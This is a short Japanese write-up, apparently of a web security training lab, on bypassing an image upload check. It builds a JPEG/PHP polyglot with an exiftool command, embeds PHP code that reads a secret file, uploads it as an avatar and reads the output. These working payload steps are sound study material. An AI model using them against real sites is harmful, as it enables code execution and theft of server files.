Remote code execution via polyglot web shell upload
wienerでログイン
exploit.phpを作成
<?php echo file_get_contents('/home/carlos/secret'); ?>
アバターアップロード画面よりアップ
Error: file is not a valid image Sorry, there was an error uploading your file.
のエラー
ファイルがimageファイルか、バイナリレベルでチェックしていそう
今回は、ExifTool を使用
ExifToolをインストール
*私は、centos環境でインストしました。(win/mac版もあると思います
以下コマンドで、先頭部分は、JPGファイルで、コメント部分に、phpファイルを埋め込んだ偽装ファイルが作れる
*jpegファイルの見本になるファイル(今回は、base.jpg)がいるみたい
exiftool -Comment="<?php echo 'START ' . file_get_contents('/home/carlos/secret') . ' END'; ?>" base.jpg -o polyglot.php
polyglot.phpが作成された
アバター画面から、polyglot.phpをアップ
アップロード成功
My accountページへ
ヒストリーで、
GET /files/avatars/polyglot.php を探し、
レスポンスを、STARTの文字で検索
php文が実行され、秘密の文字が表示されている
Submit solutionに入れて、クリア!
–)v
コメント